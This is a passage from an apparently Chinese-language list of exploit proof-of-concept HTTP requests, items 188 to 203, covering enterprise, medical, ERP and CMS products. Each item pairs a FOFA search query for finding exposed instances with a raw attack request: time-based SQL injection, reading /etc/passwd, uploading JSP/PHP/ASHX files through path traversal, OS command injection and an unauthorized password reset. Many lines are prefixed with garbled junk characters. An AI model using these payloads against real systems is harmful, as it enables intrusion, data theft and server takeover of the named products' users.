) B6 n/ p; Q) f4 S( S9 w  I) vPOST /index.cfm/_api/json/v1/default/?method=processAsyncObject HTTP/1.1
3 v  d8 G4 O5 O) k2 W  WHost: your-ip
Content-Type: application/x-www-form-urlencoded


object=displayregion&contenthistid=x%5c' AND (SELECT 3504 FROM (SELECT(SLEEP(5)))MQYa)-- Arrv&previewid=1


1 b7 ?  U5 d8 s' ]1 j7 G188. 叁体-佳会视频会议 attachment 任意文件读取
" b5 H3 _5 ?  _- k; p9 oversion <= 3.9.7
* e. q/ S+ |1 S3 p+ H) ~FOFA：body="/system/get_rtc_user_defined_info?site_id"
, k0 c; q' X$ MGET /attachment?file=/etc/passwd HTTP/1.1
$ N$ E0 M; o. t3 uHost: your-ip
  I1 A2 m1 Z6 C' q9 NUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
1 O/ x$ F7 e- nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
3 u7 T. @; ?* s, R/ h0 Y( J: @& ~6 T) WAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Connection: close
0 g# g2 U- ^8 l2 E: {4 V" M, W8 n

189. 蓝网科技临床浏览系统 deleteStudy SQL注入
' ~; J( y  _/ y6 \# y1 z2 _FOFA：app="LANWON-临床浏览系统"
GET /xds/deleteStudy.php?documentUniqueId=1%27;WAITFOR%20DELAY%20%270:0:5%27-- HTTP/1.1
4 ?, B" h" g3 p+ e  u) _Host: your-ip
) j- g" ~/ m: O& E+ F5 SUser-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
1 W1 r' U1 }( d" T$ C. yAccept-Encoding: gzip, deflate
# D* Y% J8 {& ~" q% m- BAccept-Language: zh-CN,zh;q=0.9
Connection: close
% v. O; {9 r8 d$ ]1 J) p

190. 短视频矩阵营销系统 poihuoqu 任意文件读取
, _. F$ R  A9 w8 KFOFA：title=="短视频矩阵营销系统"
POST /index.php/admin/Userinfo/poihuoqu HTTP/2
7 _3 E7 |; S$ `- aHost: your-ip
+ U/ U+ S4 Q, E( J% g. R9 L0 l, lUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.54 Safari/537.36
' v+ r# z6 i/ s# F6 T* _/ bAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Content-Type: application/x-www-form-urlencoded
7 S; Z) ?9 G4 G' I5 nAccept-Encoding: gzip, deflate
) I8 E, w  y0 P5 f( m# x$ @8 UAccept-Language: zh-CN,zh;q=0.9

poi=file:///etc/passwd
; ~. N7 B. z5 g6 P. c
# @" i. }, z' O6 O' B5 |: G
  m8 j* `4 {* i* g: S% F191. 亿赛通电子文档安全管理系统 NavigationAjax SQL注入
; s1 e$ m9 u) t3 m: ~6 gFOFA：body="/CDGServer3/index.jsp"
POST /CDGServer3/js/../NavigationAjax HTTP/1.1
Host: your-ip
% s1 t0 F+ K% O/ M/ P! F3 A  C/ w/ MUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Content-Type: application/x-www-form-urlencoded
, h$ {+ c: e& n( X, ~
command=nav&id=1'waitfor delay '0:0:5'--+&name=&openId=
0 \4 v$ t. y/ R  u
$ e0 _5 [9 v; ?0 {
192. 富通天下外贸ERP UploadEmailAttr 任意文件上传
2 l3 j7 J8 x8 q# H: G5 m# o. }FOFA：title="用户登录_富通天下外贸ERP"
POST /JoinfApp/EMail/UploadEmailAttr?name=.ashx HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36(KHTML, like Gecko) Chrome/93.0.4577.63 Safari/537.36
Content-Type: application/x-www-form-urlencoded
7 Y5 B5 k+ Y; k( W# O. u& d
  U0 ?7 h( j+ D1 r  H' F$ I4 g9 P
<% @ webhandler language="C#" class="AverageHandler" %>
9 [- l* ~$ C" D# e) Nusing System;
using System.Web;
public class AverageHandler : IHttpHandler
: c' l# \( N4 \9 k0 x6 p* u{
9 {7 u+ ~+ s$ g* A! ~1 dpublic bool IsReusable
- Y( X# L" `5 \! _$ f; l9 G: X/ R; a{ get { return true; } }
7 `$ {  x7 h- S2 y% w0 ^) u& opublic void ProcessRequest(HttpContext ctx)
1 W; a6 T. I: i{
ctx.Response.Write("test");
}
- z* ~4 F- s& ~" S; x}
5 c7 E: q* ~6 ~, H' J+ b; J

193. 山石网科云鉴安全管理系统 setsystemtimeaction 命令执行
. I' H9 |% @( ~" `6 j/ M1 QFOFA：body="山石云鉴主机安全管理系统"
7 I5 [( t6 k* _GET /master/ajaxActions/getTokenAction.php HTTP/1.1
Host:
Cookie: PHPSESSID=2333333333333;
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0


POST /master/ajaxActions/setSystemTimeAction.php?token_csrf={{token}} HTTP/1.1
Host:
$ S+ _2 P- ], N6 _& b$ jUser-Agent: Mozilla/5.0
Accept-Encoding: gzip, deflate
Accept: */*
Connection: close
Cookie: PHPSESSID=2333333333333;
Content-Type: application/x-www-form-urlencoded
, }, m' @- u. M. h- n/ aContent-Length: 84
( t, [# e( e+ `, [$ [9 b
. b: s; X) F. N! bparam=os.system('echo 23333333333456 > /opt/var/majorsec/installation/master/runtime/img/config')
7 W" c* |  Y. L

) ], {3 T% L# I% W1 E- SGET /master/img/config HTTP/1.1
& j7 T3 M2 q, ]1 M1 u, G9 PHost:
User-Agent: Mozilla/5.0
! M& ?6 _$ ^, ~# L. R- r- y
3 l7 l- U/ B+ _; H0 C
& A3 P* X! Q. R) R3 ?+ T7 \194. 飞企互联-FE企业运营管理平台 uploadAttachmentServlet 任意文件上传
6 K1 a3 M6 x$ P( l/ a3 O' V2 ZFOFA：app="FE-协作平台"访问 /servlet/uploadAttachmentServlet 有返回则漏洞存在
% R) x8 I* v2 ^) \# X" W
POST /servlet/uploadAttachmentServlet HTTP/1.1
% w$ z0 j* g- J: L; ?& j# jHost: host
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
; X0 @9 s: _* \3 pAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
1 E( C. h4 G& o; AAccept-Encoding: gzip, deflate
Connection: close
4 k5 ~( f$ Y+ `Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryKNt0t4vBe8cX9rZk
------WebKitFormBoundaryKNt0t4vBe8cX9rZk
# a7 M5 h& d) k5 o& K$ ~) b
Content-Disposition: form-data; name="uploadFile"; filename="../../../../../jboss/web/fe.war/hello.jsp"
Content-Type: text/plain
& f8 G8 [+ w2 N* n5 R& i<% out.println("hello");%>
; k( r6 H. h' Y1 i------WebKitFormBoundaryKNt0t4vBe8cX9rZk
8 M' p: x# F4 Y2 y; `; N/ EContent-Disposition: form-data; name="json"
  ?) y8 Z1 X9 v! r3 D {"iq":{"query":{"UpdateType":"mail"}}}
------WebKitFormBoundaryKNt0t4vBe8cX9rZk--
. Y  Q# e- W: o1 ^. ^/ P
1 L: Y6 r% l* `: S
! _. f4 e6 w# V- ?& w( s3 u, L195. 飞鱼星上网行为管理系统 send_order.cgi命令执行
FOFA：title=="飞鱼星企业级智能上网行为管理系统
7 H- V+ s- d% a) aPOST /send_order.cgi?parameter=operation HTTP/1.1
Host: 127.0.0.1
Pragma: no-cache
Cache-Control: no-cache
+ `  ?. D. k/ z/ BUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36
Accept: */*
( N5 l  D" j) x4 p1 H3 MAccept-Encoding: gzip, deflate
5 y% G, m# @0 y& I+ PAccept-Language: zh-CN,zh;q=0.9
7 _  E& X0 j* G0 u9 A7 YConnection: close
( q$ Q. H- f7 k5 r7 ~Content-Type: application/x-www-form-urlencoded
  a. V" }# u5 |  e* A; {Content-Length: 68

* Y: U# [3 ?+ f" S4 j) [- L{"opid":"777777777777777777","name":";uname -a;echo ","type":"rest"}
) u7 |3 Z  ]! x* X% U
" R) s! b; T( L9 K0 X- ^, l% {* p) U
196. 河南省风速科技统一认证平台密码重置
& k) \, W3 D, M. q6 MFOFA：body="/cas/themes/zbvc/js/jquery.min.js"
POST /cas/userCtl/resetPasswordBySuper HTTP/1.1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/93.0.4577.63 Safari/537.36
Content-Type: application/json;charset=UTF-8
7 V3 w* _  I+ W. cX-Requested-With: XMLHttpRequest
4 h& X; k3 r! s/ zHost:
8 I2 k' z( s7 d6 w# ?/ l* iAccept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2
Content-Length: 45
( n7 _7 U' B5 e. C2 IConnection: close
  f) w, m: n4 ~: c  ]8 \/ |: {% A% n
{"xgh":"test","newPass":"test666","email":""}
, w  f& \% H0 s% F! {2 O3 n$ d6 A5 G& d

1 g0 _$ ?1 A- k: Y
* M6 w( Z! |- C197. 浙大恩特客户资源管理系统-Quotegask_editAction存在SQL注入
2 v" i( |/ g* A5 L8 c% ?) TFOFA：app="浙大恩特客户资源管理系统"
GET /entsoft/Quotegask_editAction.entweb;.js?goonumStr=1')+UNION+ALL+SELECT+111*111--+&method=goonumIsExist HTTP/1.1
1 q. V; M; s0 c& d* ]; ?' t" ?Host:
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2656.18 Safari/537.36
$ g4 e& `- P0 I4 U$ n' L2 lAccept-Encoding: gzip, deflate
Connection: close
% M( E9 E' O0 m7 ~* V' Z0 v

1 G1 x$ _4 i& W" o, A" t
! f- D( H% k+ Y% x9 ~3 n  V198.  阿里云盘 WebDAV 命令注入
8 Y' m1 e$ K" k9 R2 ?CVE-2024-29640
GET /cgi-bin/luci/admin/services/aliyundrive-webdav/query?sid=%60%6c%73%20%2f%3e%2f%77%77%77%2f%61%61%61%2e%74%78%74%60%20 HTTP/1.1
Cookie: sysauth=41273cb2cffef0bb5d0653592624cf64
+ Y- ~4 F3 [% zAccept: */*
1 I5 j" [* T% U( e' P  {2 VAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6
Connection: close
0 c) N5 w0 u3 J$ o

' o0 h9 m6 {) U$ Q) n: e: t199. cockpit系统assetsmanager_upload接口 文件上传

1.执行poc进行csrf信息获取，并获取cookie，再上传访问得到结果：
" E5 g' P: ]8 @0 G3 vGET /auth/login?to=/ HTTP/1.1
1 W1 W+ N, k( o8 h
响应：200，返回值:csfr:"eyJ0eXAi0iJKV1QiLCJhbGci0iJIUsI1NiJ9.eyJjc2ZyIjoibG9naW4ifQ.6KvuRJo3-Dp2UouwGH9D8cmnXEL4NGNen9CX3ex86cw"
/ c8 k& F  y+ f( p
: U/ l, \! K( [( E+ Z2.使用刚才上一步获取到的jwt获取cookie：

: Y% n8 U( y2 C' n9 SPOST /auth/check HTTP/1.1
, b8 G" q! f7 W5 Y9 `/ iContent-Type: application/json
2 a! R' P; J; C7 M/ X
! y- y5 r1 e* S; ^. y) b$ [7 ?{"auth":{"user":"admin","password":"admin"},"csfr":"eyJ0eXAi0iJKV1QiLCJhbGci0iJIUsI1NiJ9.eyJjc2ZyIjoibG9naW4ifQ.6KvuRJo3-Dp2UouwGH9D8cmnXEL4NGNen9CX3ex86cw"}
4 \( W1 T" e, C& V& v
7 Q) F9 m$ o' h$ r4 L( m响应：200，返回值:
* g' O! V* P( V$ u, jSet-Cookie:mysession=95524f01e238bf51bb60d77ede3bea92: path=/
4 y) }6 N+ i) \. H) xFofa：title="Authenticate Please!"
POST /assetsmanager/upload HTTP/1.1
: s4 P( d. v) I. u. J4 e' d% W% qContent-Type: multipart/form-data; boundary=---------------------------36D28FBc36bd6feE7Fb3
Cookie: mysession=95524f01e238bf51bb60d77ede3bea92
- O: [# `; h3 G% E* D$ B# u7 k
-----------------------------36D28FBc36bd6feE7Fb3
Content-Disposition: form-data; name="files[]"; filename="tttt.php"
$ S- {. [& \4 b( x9 @5 \  dContent-Type: text/php
1 q7 Y: @% T' M& O9 s
# s  g4 J/ \1 P& Q' v# {<?php echo "tttt";unlink(__FILE__);?>
-----------------------------36D28FBc36bd6feE7Fb3
! T) h$ s: k- o- NContent-Disposition: form-data; name="folder"
# V; `3 ^7 K2 Z
" ]( V! O$ G0 H, ^6 s-----------------------------36D28FBc36bd6feE7Fb3--

( d7 I- E; m' c, t5 U
/storage/uploads/tttt.php

200. SeaCMS海洋影视管理系统dmku SQL注入
2 L. l# h; G# k& M# oFOFA：app="海洋CMS"
GET /js/player/dmplayer/dmku/?ac=del&id=(select(0)from(select(sleep(5)))v)&type=list HTTP/1.1
. M8 n. k" k1 [7 ?7 }0 xCookie: PHPSESSID=hlfl5flck9q3ng1blehhv86s4s
- ?  X5 e: K1 R, H0 d9 cUpgrade-Insecure-Requests: 1
# t5 Q: T) O  UCache-Control: max-age=0
; }- _! m0 m4 w: }3 gAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
8 V6 w4 f' {: M6 W. a) `- ?Accept-Encoding: gzip, deflate
0 O0 Z" ~; Y1 T* a; NAccept-Language: zh-CN,zh;q=0.9

; X' n! m5 @  b" U0 d
201. 方正全媒体新闻采编系统 binary SQL注入
9 L" b# ?+ V: iFOFA：body="/newsedit/newsedit/" || app="FOUNDER-全媒体采编系统"
* M. O  o. x% o/ K+ i- K! BPOST /newsedit/newsplan/task/binary.do HTTP/1.1
- P  H* _0 J# _* e; iContent-Type: application/x-www-form-urlencoded
' e  l: |# v# |Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
6 l+ k# L- ^# j, j) x, h* F1 g$ PConnection: close
8 r. A1 x1 Q. j" {: c6 y
TableName=DOM_IMAGE+where+REFID%3D-1+union+select+%271%27%3B+WAITFOR+DELAY+%270%3A0%3A5%27%3Bselect+DOM_IMAGE+from+IMG_LARGE_PATH&FieldName=IMG_LARGE_PATH&KeyName=REFID&KeyID=1
" ?0 H1 c/ B; h. n' n) B

2 Y# f& f2 x% r202. 微擎系统 AccountEdit任意文件上传
+ G* [9 M& a) {  q5 r4 c/ nFOFA：body="/Widgets/WidgetCollection/"
获取__VIEWSTATE和__EVENTVALIDATION值
  C3 \# i( a1 R' w+ |5 d% `GET /User/AccountEdit.aspx HTTP/1.1
Host: 滑板人之家
( Z& I2 O, x' i0 XUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/531.36 (KHTML, like Gecko) Chrome/83.0.4103.112 Safari/537.31
Content-Length: 0
5 J" K! J  Y$ {" @/ E3 g9 c+ \

" Z: e+ U$ j8 o0 \+ q, W" y4 o替换__VIEWSTATE和__EVENTVALIDATION值
4 b/ p6 J/ H% @+ k0 D/ b) CPOST /User/AccountEdit.aspx HTTP/1.1
Accept-Encoding: gzip, deflate, br
  W# g* ^: F) \" T: R( ~  BContent-Type: multipart/form-data;boundary=---------------------------786435874t38587593865736587346567358735687

-----------------------------786435874t38587593865736587346567358735687
Content-Disposition: form-data; name="__VIEWSTATE"
" q: n. G$ s$ ]% x1 M* H9 Q+ c
__VIEWSTATE
1 `' X6 F" [- `/ D4 S-----------------------------786435874t38587593865736587346567358735687
Content-Disposition: form-data; name="__EVENTVALIDATION"
2 H- |) K. ?6 `: _
__EVENTVALIDATION
-----------------------------786435874t38587593865736587346567358735687
Content-Disposition: form-data; name="ctl00$MyContentPlaceHolder$ctl00$upload"; filename="1123.txt"
Content-Type: text/plain
( h3 {- \" Y9 _/ i0 C3 H3 X
Hello World!
$ `6 q6 P6 L* t-----------------------------786435874t38587593865736587346567358735687
Content-Disposition: form-data; name="ctl00$MyContentPlaceHolder$ctl00$bttnUpload"
" j; j/ v- f1 y! l/ w/ n; `
上传图片
1 S; c5 H1 f) y% s( R-----------------------------786435874t38587593865736587346567358735687
Content-Disposition: form-data; name="ctl00$MyContentPlaceHolder$ctl00$txtLastName"


-----------------------------786435874t38587593865736587346567358735687
4 U1 v5 e( o/ v6 B9 `, T9 H, xContent-Disposition: form-data; name="ctl00$MyContentPlaceHolder$ctl00$txtEmail"
7 i( [# {' ?, Q: M( A' X' R
( b& ]" i" Y* s3 G. [
# `2 M7 B5 |0 n; F# `, w-----------------------------786435874t38587593865736587346567358735687--

1 Q' p8 |) s- X) _7 |" k6 g
% F' w- n: t; q# o2 |7 F/_data/Uploads/1123.txt
; O) W) q( L+ f6 K3 h
0 b+ l8 F/ z  n- {203. 红海云EHR PtFjk 文件上传
FOFA：body="RedseaPlatform"
POST /RedseaPlatform/PtFjk.mob?method=upload HTTP/1.1
Host: x.x.x.x
Accept-Encoding: gzip
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
0 `! a/ Y) c, r' b0 V, }Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryt7WbDl1tXogoZys4
8 E  \! t7 G6 Z& T: N. W. S; o6 w3 sContent-Length: 210
4 k, r' H9 p' e' p( }; q; X
------WebKitFormBoundaryt7WbDl1tXogoZys4
Content-Disposition: form-data; name="fj_file"; filename="11.jsp"
  ]# K7 Y1 N' s1 l% D; T, ^Content-Type:image/jpeg
' v# @# N" t" ]* E- I  }2 w# Q. Y. r
- c4 c. y  _- Z* S5 ~! f' P<% out.print("hello,eHR");%>
8 f2 @* R, E6 H$ Q/ @- V, Q7 ^------WebKitFormBoundaryt7WbDl1tXogoZys4--



3 t7 C! Y* ~% z$ n
, U. Z8 I/ u3 L  Y